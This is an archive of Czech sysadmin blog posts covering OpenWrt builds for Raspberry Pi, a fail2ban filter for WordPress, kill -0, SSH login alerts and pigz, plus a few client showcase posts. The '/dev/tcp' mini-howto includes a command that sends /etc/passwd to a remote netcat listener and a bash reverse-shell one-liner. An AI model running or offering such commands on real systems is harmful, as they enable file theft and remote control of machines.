Archiv autora: MOJEservery.cz

Kompilace OpenWrt pro ARM, Raspberry Pi

Komplikace OpenWrt pro ARM, Raspberry Pi


Nejrychlejší komplikace OpenWrt, pro úplné nováčky, nebojte se postavit si vlastní systém na míru, dle vlastních potřeb, díky automatizovanému build systému je to snadné.

openwrt-logo

Komplikaci provedeme na Debianu, budeme potřebovat cca 4GB volného místa a trpělivost, OpenWrt má vlastním buildovácí systém (Buildroot,  můžete na něj narazit leckde, je to populární nástroj pro sestavení embedded Linuxu) pro cross-compile (sestavuje na x86 ale výstup poběží na jiné platformě).

Nainstaluje nezbytné věci pro překlad,vývoj a git (build-essential, ať žije síla balíčkovacích systému), poté klonujeme git repozitář OpenWrt, jdeme na to.

root@havel-machine:~# apt-get install git-core build-essential libssl-dev
root@havel-machine:~# apt-get install libncurses5-dev unzip
root@havel-machine:~# apt-get install subversion mercurial

Budeme stahovat tzv. bleeding edge(trunk) verzi.

havel@havel-machine:~/Work$ git clone git://git.openwrt.org/openwrt.git
Cloning into 'openwrt'...
remote: Counting objects: 320253, done.
remote: Compressing objects: 100% (87004/87004), done.
remote: Total 320253 (delta 220190), reused 318758 (delta 219174)
Receiving objects: 100% (320253/320253), 112.66 MiB | 601.00 KiB/s, done.
Resolving deltas: 100% (220190/220190), done.
Checking connectivity... done.

Tak, máme základ OpenWrt stažen (cca 200MB), nyní potřebujeme balíčky (feeds, potravu) pro sestavení, další se budou dotahovat podle toho vše budeme chtít začlenit.

havel@havel-machine:~/Work$ cd openwrt
havel@havel-machine:~/Work/openwrt$ ./scripts/feeds update -a
havel@havel-machine:~/Work/openwrt$ ./scripts/feeds install -a

Tak konsole na nás hodně křičela, stáhlo se cca dalších 50MB dat, ale nebojte se ničeho, pokračuje dále k sestavení.

havel@havel-machine:~/Work/openwrt$ make defconfig
havel@havel-machine:~/Work/openwrt$ make prereq
havel@havel-machine:~/Work/openwrt$ make menuconfig

Po poslední příkazu se dostáváme k textovému menu, zde si vybereme co chceme sestavit, pro jakou architekturu, jaké balíčky zahrneme (ty se následně stáhnout ve formě zdrojového kódu a zkompilují), jak krásné a jednoduché.

openwrp-compile-menuconfig

Nejklíčovější je výběr správné cílové architektury (target), otevřete menu, vyberte Broadcom BCM2708/BCM2709 pro Raspebrry Pi 2, stejným způsobem můžete přeložit OpenWrt pro cokoliv jiného, výběr je velmi široký.  openwrp-compile-menuconfig-bcm27xx

Doporučuji si pohrát s v menu Target images -> Boot SD card partition size a Root filesystem partition size , což jsou velikosti oddílů pro boot a root, jako filesystém nechávám ext4.

V kernel -> Wireless si vyberte ovladače pro bezdratové adaptéry pokud je budete používat, já jsem si ještě začlenil VLAN (802.1q), zabbix agenta, LuCI, LuCI Asterisk, coova-chilli a pár dalších, hodí se i wpa_supplicant, obecně menuconfig je velmi bohatý projděte se ho až budete mít chvilku, vše co zaškrtáte má vliv na dobu komplikace, množství stahovaných dat i výslednou velikost image.

Jdeme buildovat (komplikovat), pozor z menuconfig vyberte Save, uložte do souboru .config a až poté exit.

*** End of the configuration.
*** Execute 'make' to start the build or try 'make help'.
havel@havel-machine:~/Work/openwrt$ make -j 3
 make[1] world
 make[2] tools/install
 make[2] package/cleanup
 make[3] -C tools/patch compile
 make[3] -C tools/expat compile
 make[3] -C tools/sstrip compile
 make[3] -C tools/make-ext4fs compile
 ... čekejte a čekejte ...
 ... pokud jste pozorní všimnete si, že openwrt si samo sestavilo gcc (překladač, či obecně tzv. toolchain) pro své pokračování v překladu ...
 make[3] -C toolchain/gcc/final compile
 make[3] -C toolchain/gcc/final install
 make[2] target/compile
 make[3] -C target/linux compile
openwrt-compile-top-cpuload
Překladače se neflákají a vytěžují systém, parametr -j 3 v příkazu make povoluje právě instance překladače zároveň.

Hotovo, výstup (připravený image) najdete v openwrt/bin/ , OpenWrt build automaticky sestavil image pro modely Raspberry b,b+ a CM (Compute Module).

openwrt-brcm2708-bcm2708-rpi-b-ext4-sdcard.bin
openwrt-brcm2708-bcm2708-rpi-b-plus-ext4-sdcard.bin
openwrt-brcm2708-bcm2708-rpi-cm-ext4-sdcard.bin

Instalace, pomocí nastroje dd vemte potřebný image a zapište na SD kartu /dev/sdX , dd if=image of=/dev/sdX bs=2M a je nainstalováno.

Kde sehnat balíčky pro opkg ?

OpenWrt obsahuje balíčkovací systém opkg, jde o repositáře s předkompilovaným software pro danou platformu, není nutné tedy software (userspace + ovladače) kompilovat pokud nechcete, ale ta možnost tu stále je. Pro úplnost, balíčky jsou soubory s koncovkou .ipk např. iperf_2.0.5-1_brcm2708.ipk.

http://wiki.openwrt.org/doc/packages

Pro Broadcom 2708 a 2709 tedy Raspberry Pi 2 použijte tento předkompilovaný repositář, nastavte si ho v /etc/opkg.con a udělejte opkg update, získáte přístup k rozsáhlému množství software.

https://downloads.openwrt.org/snapshots/trunk/brcm2708/generic/packages/base/

Hotovo, tak kompilujte, pokud bude zájem je možné si příště ukázat patchnutí a kompilace OpenWrt jako metarouter Mikrotik s instalací VoIP telefonní ústředny Asterisk, za velmi nízké náklady tak získáte router s Wifi, až ethernet 10portů pro LAN a VoIP telefony.

Užívejte moudře, díky za pozornost. František Havel, MOJEservery.cz.

WordPress fail2ban

WordPress fail2ban

Máte WordPress na vlastním serveru? Štvou Vás neustálé pokusy o uhádnutí hesla, máte plný access.log web serveru hlášek  “POST http://domain/wp-login.php HTTP/1.1″ ?

Pokud používáte na server-u nástroj fail2ban můžete zkoncovat s hádáním hesel WordPressu jednou pro vždy, velmi jednoduše, pojďme na to.

Plugin wp-fail2ban

Nainstalujte plugin wp-fail2ban (https://wordpress.org/plugins/wp-fail2ban/), tento plugin zajistí logování neplatných pokusů o přihlašení do Vašeho WordPress.

V logu /var/log/auth.log najdete podobné informace o pokusech o přihlášení.

Authentication failure for havel.mojeservery.cz from 46.119.117.47
Authentication failure for admin from 109.98.228.188
Authentication failure for havel.mojeservery.cz from 46.119.117.47

Nastavení filtru fail2ban pro WordPress

Přidáme filter (pravidlo) do fail2ban pro Wodpress (auth.log)(Debian a deriváty std v adresáři /etc/fail2ban/filter.d).

Ukázkový příklad filtru je přímo součástí wp-fail2ban pluginu, stáhněte si zip , rozbalte a použijte wodpress.conf.

root@www:/etc/fail2ban/filter.d# cat wordpress.conf 
# Fail2Ban configuration file
#
# Author: Charles Lecklider
#

[INCLUDES]

# Read common prefixes. If any customizations available -- read them from
# common.local
before = common.conf


[Definition]

_daemon = wordpress

# Option:  failregex
# Notes.:  regex to match the password failures messages in the logfile. The
#          host must be matched by a group named "host". The tag "" can
#          be used for standard IP/hostname matching and is only an alias for
#          (?:::f{4,6}:)?(?P[\w\-.^_]+)
# Values:  TEXT
#
failregex = ^%(__prefix_line)sAuthentication failure for .* from $
            ^%(__prefix_line)sBlocked authentication attempt for .* from $
            ^%(__prefix_line)sBlocked user enumeration attempt from $
            ^%(__prefix_line)sPingback requested from $

# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

Zavedení filter pravidla do fail2ban. (debian /etc/fail2ban/jail.conf přidejte)

[wordpress]
enabled = true
filter = wordpress
logpath = /var/log/auth.log
port = http,https
maxretry = 3

Reload fail2ban a hotovo!

root@www:~# /etc/init.d/fail2ban restart
root@www:~# iptables -L -n
Chain fail2ban-wordpress (1 references)
target prot opt source destination
DROP all -- 46.119.117.47 0.0.0.0/0 
RETURN all -- 0.0.0.0/0 0.0.0.0/0

Hotovo, ani to nebolelo. Zmíněný postup vyžaduje přístup jako root na server, tedy na sdíleném hostingu není aplikovatelný, zde se poohlédněte po jiným bezpečnostních nástrojích (např. oblíbený Wordfence).

Užívejte moudře, díky za pozornost.
František Havel, MOJEservery.cz

www.truhlarstvipajdrman.cz – Truhlářství a podlahářství David Pajdrman Planá

Realizováno,

logo-pajdrman

spuštěn nový micro web pro Truhlářství a podlahářství David Pajdrman Planá, musím přiznat, že první kontakt obchodníka s panem Pajdrmanem nebyl zdaleka tak přímočarý jak by si obchoďák přál, bylo třeba si zákazníka získat, věnovat mu péči a čas, vybudovat důvěru, povedlo se.

Co nás překvapilo ?

Nasazení, energie, odhodlání a kvalita práce, tento pán ve své firmě vytváří doslova neskutečné výrobky ze dřeba, bez okolků lze říci, že se doslova “mazlí” se dřevem, je to jeho vášeň, poslání, dáme ruku do ohně za jeho práci.

Vážíme si velmi možnosti spolupracovat s panem Pajdrmanem, držel vždy slovo a termíny, doporučujeme Vám poohlédnout se po jeho službách a produktech, nebudete zklamáni, velmi pečlivý, ochotný člověk.

Doporučujeme !

Truhlářství a podlahářství David Pajdrman

http://www.truhlarstvipajdrman.cz

pajdrman-firmycz-logo-800

Technické pozadí realizace

Jádro webu je postavené na nejrozšířenějším redakční systému na světě → WordPress poslední generace s podporou automatických bezpečnostní aktualizací a Wordfence bezpečnostním modulem, obalené základní sadou prověřených pluginů a na míru upravenou šablonou, díky systému WordPress umožňuje web do budoucna bohaté možnosti rozšíření o novou funkcionalitu a hlavně nehrozí případ vendor-locku (uzamčení zákazníka na konkrétního dodavatele) v případě nasazení proprietárního redakčního systému (když se zákazní rozhodne odejít, veme svůj web a najde si někoho s tisíců vývojářů v ČR pro WordPress, to je jasná výhoda bez debat).

Poslední krokem k nasazení byla implementace emailů pro komunikaci se zákazníkem na vlastní doméně, následné zaškolení pro obsluhu webu,  práce s redakčním systémem je snadná a přímočará, práce s galerií je díky podpoře štítků velmi jednoduchá, díky systému oprávnění nehrozí chybné nastavení obsluhou, automatické verzování dokumentů nabízí možnost vrátit se k původní verzi při neopatrné úpravě, vše je pravidělně automaticky zálohováno v hosting centru.

Děkujeme za příležitost a těšíme se na další spolupráci. MOJEservery.cz.

Linux mini-howto: Bash /dev/tcp a sokety.

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Bash a sokety, /dev/tcp

Věděli jste, že bash obsahuje build-in (vestavěné) BSD socket rozhraní dostupné skrze /dev/tcp? Pseudo zařízení slouží v bashi pro přímou interakci s TCP socketem.

Syntax /dev/tcp s /dev/udp

  • /dev/tcp/<host>/<port>
  • /dev/udp/<host>/<port>

Malá ukázka práce s /dev/tcp.

havel@havel-machine:~$ exec 5<>/dev/tcp/havel.mojeservery.cz/80
havel@havel-machine:~$ echo -e "GET / HTTP/1.0\n" >&5
havel@havel-machine:~$ cat <&5 | head -n 10
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Tue, 01 Sep 2015 14:41:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.4.41-0+deb7u1
Vary: Accept-Encoding, Cookie
Cache-Control: max-age=3, must-revalidate
WP-Super-Cache: Served supercache file from PHP
havel@havel-machine:~$ cat </dev/tcp/time.nist.gov/13
57266 15-09-01 14:37:16 50 0 0 816.9 UTC(NIST) * 

Něco více divokého s /dev/tcp

# Na své stroji si rozjeďte netcat
root@www:/root# nc -l -p 8888

# Pošlete si co potřebujete k sobě
havel@havel-machine:~$ cat /etc/passwd > /dev/tcp/havel.mojeservery.cz/8888

# Reverse shell
# Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888

havel@havel-machine:~$ bash -i >& /dev/tcp/havel.mojeservery.cz/8888 0>&1

# havel@havel-machine:~$ pwd
pwd
/home/havel

Pozn.: bash je nutné zkomplikovat s volbou (--enable-net-redirections).

Užívejte moudře a opatrně, díky za pozornost.

František Havel, MOJEservery.cz

Realizováno! Off-site zákaznické řešení zálohování Tři Sekery

Realizováno,

pro zákazníka spadající pod obec Tři Sekery realizováno kontinuální off-site zálohování, replikace záloh do vzdálené lokality pro případ živelné katastrofy (požár) či odcizení dat.

Co je to off-site zálohování ?

Offsite záloha představuje záložní kopii originálních dat na jiném datovém nosiči a v jiné geografické lokalitě než je původní umístění. Záložní data jsou použita v případě poškození či ztráty.

tri-sekery-offsite-backup-800

Děkujeme za příležitost a těšíme se na další spolupráci. MOJEservery.cz.

Bojujete se zálohování? Nabízíme pomoc.

Nabízíme firemní i osobní zálohovací systémy, onsite i offsite zálohování, replikační systémy, katalogové zálohování, komprimace, deduplikace, verzování záloh, synchronizace lokalit, ochrana záloh, reporting a zcela bezplatně konzultaci a poradentství.

Zdarma navrhneme zálohovácí plán přímo na míru pro Vaše data včetně disaster recovery scenáře.

Kontaktujte nás, najdeme nejlepší řešení za skvělou cenu.

Linux mini-howto: Monitoring procesů nástrojem kill!!!

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Monitoring procesů s kill

havel@havel-machine:~$ kill -0

Tajné, pssst!

Nedokumentovaná (man kill) část nástroje kill, kill -0. Zcela dle neočekávání kill -0 nezabije proces, ani ho jinak neovlivní, vrací exitcode 0 pokud proces běží a akceptuje signály a naopak pokud neběží  vrací 1.

havel@havel-machine:~$ echo $$
10231
havel@havel-machine:~$ /bin/bash
havel@havel-machine:~$ echo $$
12023
havel@havel-machine:~$ kill -0 12023
havel@havel-machine:~$ echo $?
0
havel@havel-machine:~$ exit
havel@havel-machine:~$ kill -0 12023
kill: kill 12023 failed: no such process
havel@havel-machine:~$ echo $?
1

Seznam dostupných signálů, 0 zde není. kill-monitoring-siglist

K čemu je to dobré? Napadá mě, využití např. jednoduché hlídání procesů (démonů) z /var/run/xyz.pid ( #kill -0 $(cat /var/run/crond.pid) ), určitě existují jiná i lepší řešení (a nevím zda-li parsování ps je ono nebo průchod /proc/<pid>), ale jak už někdo poznamenal, proč, protože můžem.

Užívejte moudře a opatrně, díky za pozornost.

František Havel, MOJEservery.cz

Proč používat příkazový řádek(CLI)

Proč používat příkazový řádek ?

Pozn.: Volně přeloženo a převzato ze serveru packetlife.net, je to přesné, děkujeme.

Jedním z důvodu proč profesionálové používají příkazový řádek (CLI, command line) je stručnost, efektivita, přesnost a popisnost, geekové miluji stručnost a efektivnost, navíc lenost je matkou pokroku.

Posuďte sami, máte nového junior kolegu a posíláte mu postup emailem pro konfiguraci NAT na pobočkovém routeru (Cisco), který email by jste psali raději?

GUI


Přihlaš se do SDM (Cisco Router and Security Device Manager, GUI managent, budeš si ho muset stáhnout prvně z routeru), jdi do konfigurační záložky, klikni na NAT, poté “Advanced NAT”, klikni na next, vyber rozhraní FastEthernet0 z rozbalovacího seznamu a klikni na next, přikládám obrázek.

cisco-sdm_step1

Dalším krokem v seznamu obou rozhraní vyber Vlan1 s ip adresou 192.168.1.0/24 a klikni na next, , přikládám obrázek.

cisco-sdm_step2

Poslední krokem je přidání statického NAT pravidla pro VPN server, klikni na “Add’ tlačítko a vyplň tyto hodnoty, přikládám obrázek.

cisco-sdm_step3

Potvrď kliknutím OK, a poté klikni na “Next”, zkontroluj v okne NAT pravidlo. Klikni na “Finish” v poslední kroku, vyskočí okno s hláškou ve smyslu “configuration saved”, poté klikni na OK a zavři SDM, hotovo.

CLI


Přihlaš se na router pomoci ssh nebo telnet a vlož tuto konfiguraci.

configure terminal
interface FastEthernet0
 ip nat outside
!
interface Vlan1
 ip nat inside
!
ip nat inside source static udp 192.168.1.204 1194 interface FastEthernet0 1194
ip nat inside source list 1 interface FastEthernet0 overload
!
access-list 1 permit 192.168.1.0 0.0.0.255
exit
copy run start

Hotovo!


Máte vybráno? ;-).

Nesrážíme zde podstatu a smysl GUI nástrojů, jen až potkáte “profesionála”, který se bude štítit, bát a odmítat textové rozhraní, CLI a příkazový řádek, buďte opatrní!

František Havel, MOJEservery.cz

Linux mini-howto: SSH login notifikace emailem

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

SSH login notifikace emailem

Krátké a jednoduché, chcete info(oznámení) do emailu po přihlášení uživatele na SSH server? Jednoduchý script ukazuje jak na to, nejde o náhradu za komplexní systémy s logování na centrání vzdálený server, ale pro malé použití a případně další čarování s sshrc se může hodit.

Kde spouštět SSHrc script?

  • ~./ssh/rc – lokální konkrétní uživatel
  • /etc/ssh/sshrc – globálně pro všechny uživatele

SSHrc script

Napsán pro Vás jednoduchý ukázkový script v bashi, použijte ho, upravujte dle potřeby.

mail=alertemail@mojeservery.cz
user=/usr/bin/whoami
ip=/usr/bin/last | head -1 | awk '{print $3}'
#read -d " " ip <<< $SSH_CONNECTION
date=$(date "+%d.%m.%Y %Hh%M")
reverseIP=$(dig -x $ip +short)
hostname=$(hostname)

mail -s "SSH Login: $USER@$hostname" $mail <<EOF
From: root@$hostname
User: $USER
Host: $hostname
From IP: $ip
Reverse: $reverseIP
Date: $date
EOF

A to je vše! (! script opravdu není uvozen #!/bin/bash )

Na serveru musí být v provozu mail subsystém, alespoň jako stmp relay, tak aby email mohl odejít, navíc může být zpracování sshrc potlačeno konfigurací (ForceCommand, ssh -N apod.).

Užívejte moudře, mějte přehled o přístupech na Váš SSH server.

Díky za pozornost. František Havel, MOJEservery.cz

Linux mini-howto: Pigz, paralelní gzip implementace, komprimujte rychleji!

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Pigz, unpigz , paralelní gzip implementace

Proč ? V dnešní době je téměř nemožné koupit procesor s jedním jádrem, výrobci tak obcházejí problém rychlejších procesorů (výšší frekvence) díky možnosti umístění více jader do jednoho fyzického  pouzdra a přenesení problému do oblasti software.

Paralelní výpočty rozdělují složitější úlohu na vícero jednoduchých,
ty jsou často vykonávány ve vláknech, které běží škálovatelně přes
jádra procesoru.

Paralelní programování je považováno za obtížnější formu vývoje
software, nese sebou celou řadu problému, zamykání, souběh, vyloučení, paralelní zpomalení, synchronizace atd, přesto jde o klíčovou oblast zejména pro řešení simulací, potřebujeme znát odpovědi na otázky které jsou analyticky neřešitelné (např. teoretická a experimentální fyzika)

K čemu to používáme? Zpátky na zem, smrtelník a sysadmin v našem případě nasadil pigz jako rychlou náhradu za klasický gzip pro komprimaci záloh databáze MySQL, zálohuje s v noci, komprimuje se v noci a jak praví klasik čas jsou peníze.

Instalace pigz

root@havel-machine:~# apt-get install pigz

Malá ukázka, vzorová data SQL dump 868MB , komprimace provedena nad stejnou db vždy metodou fast (-1, nejrychlejší) a best (-9, nejúčinější).

 FAST  BEST
 pigz (čas)  12.1s (cpu 392%)  16.5s (cpu 396%)
 gzip (čas)  44.6s (cpu 100%)  58s (cpu 100%)

Testováno na AMD A6-3670, 4GB RAM, disk SATA 7200rpm.

Jednoduchý benchmark ukazuje rychlejší zpracování dat za použití paralelní implementace gzip a to v obou případech, rozdíly jsou na první pohled signifikantní. Jak je patrné paralelní komprimace dává smysl a dokáže významně zkrátit časy v celém zálohovacích procesu a nárůstem počtu jader zkracujete čas, navíc je možné omezit pigz na konkrétní počet jader (např. 6 jader z 8).

http://zlib.net/pigz

http://linux.die.net/man/1/pigz

Užívejte moudře, díky za pozornost. František Havel, MOJEservery.cz


Bojujete se zálohování? Nabízíme pomoc.

Nabízíme firemní i osobní zálohovací systémy, onsite i offsite zálohování, replikační systémy, katalogové zálohování, komprimace, deduplikace, verzování záloh, synchronizace lokalit, ochrana záloh, reporting a zcela bezplatně konsultaci a poradentství.

Kontaktujte nás, najdeme nejlepší řešení za skvělou cenu.

MOJEservery.cz